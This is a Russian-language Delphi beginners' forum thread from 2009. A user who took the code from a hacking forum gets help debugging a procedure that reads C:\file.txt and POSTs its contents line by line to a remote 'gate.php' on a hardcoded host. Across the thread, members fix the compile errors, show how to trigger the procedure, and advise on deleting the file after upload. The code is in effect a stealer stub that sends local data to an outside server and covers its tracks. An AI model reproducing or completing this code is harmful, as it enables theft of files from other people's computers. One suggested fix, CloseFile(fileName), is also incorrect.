Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > Delphi: Для новичков > Нужна помощь!


Автор: xlocked 22.1.2009, 15:43
Скачал с инета сорцы проги которая закачивает файл с компа на хост, вот код:
Код

procedure SendFile;
var Site : PChar;
   sock : TSocket;
   HostEnt : PHostEnt;
   WSA : TWSAData;
   addr : sockaddr_in;
   sendbuff : String;
   PostData : String;
   count : Integer;
   fName:String[80];
   buf:String[80];
   f: TextFile;
begin
fName:='С:\file.txt';             //Файл, который нкжно отправить
AssignFile(f, fName);
{$I-}
Reset(f);
{$I+}
if IOResult <> 0 then
begin
MessageDlg('Error'+ fName, mtError,[mbOk],0);
exit;
end;
while not EOF(f) do
begin
readln(f,buf);
if WSAStartup($0101, WSA) <> 0 then
Exit;
sock := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
FillChar(addr, SizeOf(sockaddr_in), 0);
addr.sin_family := AF_INET;
addr.sin_port := htons(80);
Site := 'server7.890m.com';              //ваш хост
HostEnt := gethostbyname(Site);
addr.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
Connect(sock, addr, SizeOf(addr));
       PostData := '';
       PostData := 'file=' + buf;
       sendbuff := '';
       sendbuff := 'POST http://**********/gate/gate.php HTTP/1.1' + #13#10 +     //Полный путь к гейту
                   'Host: www.********.com' + #13#10 +                                            //Ваш хост
                   'Referer: http://*******/gate/gate.php' + #13#10 +
                   'Connection: Keep-Alive, TE' + #13#10 +
                   'Content-Type: application/x-www-form-urlencoded' + #13#10 +
                   'Content-Length: ' + IntToStr(Length(PostData)) + #13#10#13#10 + PostData;
       send(sock, sendbuff [1], Length(sendbuff), 0);
       CloseSocket(sock);
     end;

Делфи выдает:
Error Tsocket
 Error PhostEnt
 Error TWSAData
Подскажите что в этом коде неправильно?


M
Alexeis
Модератор: Название темы должно отражать ее суть!

Автор: Qu1nt 22.1.2009, 17:12
Код

uses
  WinSock;

Автор: xlocked 22.1.2009, 18:50
Теперь пишет "Expected END but VAR found" Что означает VAR?

Автор: CompWorm 22.1.2009, 18:55
ведать ты код Qu1nt, нетуда написал))))

Цитата(xlocked @  22.1.2009,  18:50 Найти цитируемый пост)
Теперь пишет "Expected END but VAR found" Что означает VAR? 

в какой строке ошибка? в семнадцатой?

Автор: xlocked 22.1.2009, 19:34
Да, ошибка в строке 17, а WinSock записал сюда:
Код

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  WinSock;

Автор: Данкинг 22.1.2009, 20:09
Цитата(xlocked @  22.1.2009,  18:50 Найти цитируемый пост)
Что означает VAR? 

VAR означает начало секции объявления переменных. smile 

Автор: THandle 22.1.2009, 22:17
xlocked, покажи весь код в конце концов. В первом посте видно только одну процедуру, а судя по всему это оконное приложение.
Показывай.

Автор: xlocked 23.1.2009, 13:38
Цитата(THandle @  22.1.2009,  22:17 Найти цитируемый пост)
xlocked, покажи весь код в конце концов. В первом посте видно только одну процедуру, а судя по всему это оконное приложение.Показывай.

Я взял этот код с этого сайта --->http://forum.xakep.ru/m_1094468/mpage_1/key_gate%2cdelphi/tm.htm#1095860
Но на том сайте Топикпастеру вроде бы нужен был неоконное приложение. Будте добры помогите разобраться с этим кодом

Автор: Данкинг 23.1.2009, 14:58
Цитата(xlocked @  23.1.2009,  13:38 Найти цитируемый пост)
Я взял этот код с этого сайта 

У тебя в коде на три begin'а один end. smile 

Автор: bems 23.1.2009, 22:12
Цитата(xlocked @  23.1.2009,  13:38 Найти цитируемый пост)
Топикпастеру вроде бы нужен был неоконное приложение.

Топикстартера знаю, копипастера знаю. Топикпастера - не знаю

Автор: xlocked 25.1.2009, 18:02
Код

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  WinSock;

procedure SendFile;
var Site : PChar;
   sock : TSocket;
   HostEnt : PHostEnt;
   WSA : TWSAData;
   addr : sockaddr_in;
   sendbuff : String;
   PostData : String;
   count : Integer;
   fName:String[80];
   buf:String[80];
   f: TextFile;
begin
fName:='С:\file.txt';             //Файл, который нкжно отправить
AssignFile(f, fName);
{$I-}
Reset(f);
{$I+}
if IOResult <> 0 then
begin
MessageDlg('Error'+ fName, mtError,[mbOk],0);
exit;
end;
while not EOF(f) do
begin
readln(f,buf);
if WSAStartup($0101, WSA) <> 0 then
Exit;
sock := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
FillChar(addr, SizeOf(sockaddr_in), 0);
addr.sin_family := AF_INET;
addr.sin_port := htons(80);
Site := 'server7.890m.com';              //ваш хост
HostEnt := gethostbyname(Site);
addr.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
Connect(sock, addr, SizeOf(addr));
       PostData := '';
       PostData := 'file=' + buf;
       sendbuff := '';
       sendbuff := 'POST http://**********/gate/gate.php HTTP/1.1' + #13#10 +     //Полный путь к гейту
                   'Host: www.********.com' + #13#10 +                                            //Ваш хост
                   'Referer: http://*******/gate/gate.php' + #13#10 +
                   'Connection: Keep-Alive, TE' + #13#10 +
                   'Content-Type: application/x-www-form-urlencoded' + #13#10 +
                   'Content-Length: ' + IntToStr(Length(PostData)) + #13#10#13#10 + PostData;
       send(sock, sendbuff [1], Length(sendbuff), 0);
       CloseSocket(sock);
     end;
end;
end.

вот исправленный код. Но всеравно непашет. :( 
Создаю новую форму, кидаю код и компилю, появляется файл.ехе, запускаю появляется окно проги и никаких движений, даже в инет не проситься. 
Кто может подсказать в чем ошибка?

Автор: Samhein 25.1.2009, 18:27
Куда ты это кидаешь? У меня такое подазрение, что ты просто кидаешь код, а ни к чему не привязываешь.
Кинь коду. Кинь на форму кнопку. Нажми на неё 2 раза и между begin и end напиши "SendFile;"(без кавычек).

Автор: xlocked 25.1.2009, 18:58
Цитата(Samhein @  25.1.2009,  18:27 Найти цитируемый пост)
Куда ты это кидаешь? У меня такое подазрение, что ты просто кидаешь код, а ни к чему не привязываешь.Кинь коду. Кинь на форму кнопку. Нажми на неё 2 раза и между begin и end напиши "SendFile;"(без кавычек).

Samhein
Спасибо, получилось, только вот пишет что файл ненайден, хотя он на диске С:

Автор: Samhein 25.1.2009, 19:01
Проверь имя файла.

Автор: Данкинг 25.1.2009, 19:05
Цитата(Samhein @  25.1.2009,  18:27 Найти цитируемый пост)
Куда ты это кидаешь? У меня такое подазрение, что ты просто кидаешь код, а ни к чему не привязываешь.
Кинь коду. Кинь на форму кнопку. Нажми на неё 2 раза и между begin и end напиши "SendFile;"(без кавычек). 

 smile  smile  smile 
smile 
А перед этим ещё нужно включить компьютер, подождать загрузки винды, опосля чего кликнуть мышкой на ярлыке запуска "Delphi". smile  smile 

Автор: xlocked 25.1.2009, 19:17
Имя файла правильное, и серавно ненаходит.
А вот если  
Код

fName:='С:\file.txt';

поменять на
Код

fName:='file.txt';
 и файл кинуть в корень диска где файл лежит, то все норм отправляет )
Но мне надо чтоб 1 способ работал.

Автор: Данкинг 25.1.2009, 19:29
На какой строке ошибка вылезает? На AssignFile ??

Автор: Delph1n 25.1.2009, 19:45
У меня тоже не пашет. При компиляции никакой ошибки, все ровно, но файл file.txt не находит. Как тут быть?

Автор: xlocked 25.1.2009, 19:50
Цитата(Данкинг @  25.1.2009,  19:29 Найти цитируемый пост)
На какой строке ошибка вылезает? На AssignFile ??

Ошибок при компиляции никаких не выдает, а когда файл запускаешь и нажимаешь на кнопку то пишет ErrorC:\file.txt

Автор: Данкинг 25.1.2009, 19:55
xlocked, до while not EOF(f) do.... программа доходит? Какой полный текст ошибки?

Автор: xlocked 25.1.2009, 20:14
Цитата(Данкинг @  25.1.2009,  19:55 Найти цитируемый пост)
xlocked, до while not EOF(f) do.... программа доходит? Какой полный текст ошибки?

Полный код ошибки я написал. Я понял в чем причина была, из-за того что файл был пустой, как только я в файл скопировал небольшой текст и сохранил, то файл успешно записался на хост smile 
Я так понял что он не сам файл отправляет, а его содержимое?
И еще такой вопросик, как после успешной отправки удалить файл?
Код знаю (DeleteFile('c:\file.txt')) а как привязать незнаю.

Автор: Данкинг 25.1.2009, 20:27
Цитата(xlocked @  25.1.2009,  20:14 Найти цитируемый пост)
Я так понял что он не сам файл отправляет, а его содержимое?

Судя по коду - да.

Цитата(xlocked @  25.1.2009,  20:14 Найти цитируемый пост)
Код знаю (DeleteFile('c:\file.txt')) а как привязать незнаю.

Что куда привязать? Так и пиши.

Автор: xlocked 25.1.2009, 20:39
Цитата(Данкинг @  25.1.2009,  20:27 Найти цитируемый пост)
Что куда привязать? Так и пиши.

Мне нужно чтобы после отправки file.txt на хост, file.txt удалялся с компьютера.

Автор: Ийон 26.1.2009, 07:57
xlocked

Просто допиши в конец процедуры.

Автор: xlocked 26.1.2009, 18:14
Вот в конце кода добавлял
Код

var
   fileName : string;
   myFile : TextFile;
   data : string;

begin

   fileName := 'C:\file.txt';
   AssignFile(myFile, fileName);

  DeleteFile(fileName);

При запуске проги файл даже удаляется. Подскажите как сделать чтоб при нажатии кнопки файл (file.txt) отправлялся на хост а потом удалялся?

Автор: Poseidon 26.1.2009, 19:44
xlocked, 
Цитата(Ийон @  26.1.2009,  07:57 Найти цитируемый пост)
допиши в конец процедуры.


Автор: Данкинг 26.1.2009, 20:00
 smile 
xlocked, почитай "Библию Дельфи", дабы иметь представления о Дельфи и о программировании в целом. И книжку по основам Паскаля тоже не мешало бы осилить.

Автор: xlocked 31.1.2009, 06:53
Дописывал я в конце процедуры
Код

DeleteFile('c:\file.txt')

и вот так пробовал
Код

fileName := 'C:\file.txt';
   AssignFile(myFile, fileName);
  DeleteFile(fileName);

Но всеравно файл неудаляется, а на хост файл уходит.

barshol, 
Ты создал бы отдельный топик.

Автор: Данкинг 31.1.2009, 12:03
barshol, конечно, в рамках топика "нужна помощь" твой пост оффтопиком не является, но плюсанул его (пост) я случайно, я "минус" хотел нажать. smile 

Цитата(xlocked @  31.1.2009,  06:53 Найти цитируемый пост)
Дописывал я в конце процедуры

Вот так и нужно. Почему не удаляется - не знаю, проверь доступ к файлу, может, он открыт чем-нибудь.

Цитата(xlocked @  31.1.2009,  06:53 Найти цитируемый пост)
и вот так пробовал

Это заведомая ерунда.

Автор: ~FoX~ 3.2.2009, 13:11
Цитата(Данкинг @  31.1.2009,  13:03 Найти цитируемый пост)
Вот так и нужно. Почему не удаляется - не знаю, проверь доступ к файлу, может, он открыт чем-нибудь.

Им же и открыт  smile 

А кто  CloseFile(F); делать будет???


Код

fileName := 'C:\file.txt';
   AssignFile(myFile, fileName);
//тварим чти нить с файлом
  CloseFile(fileName); 
  DeleteFile(fileName);



Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)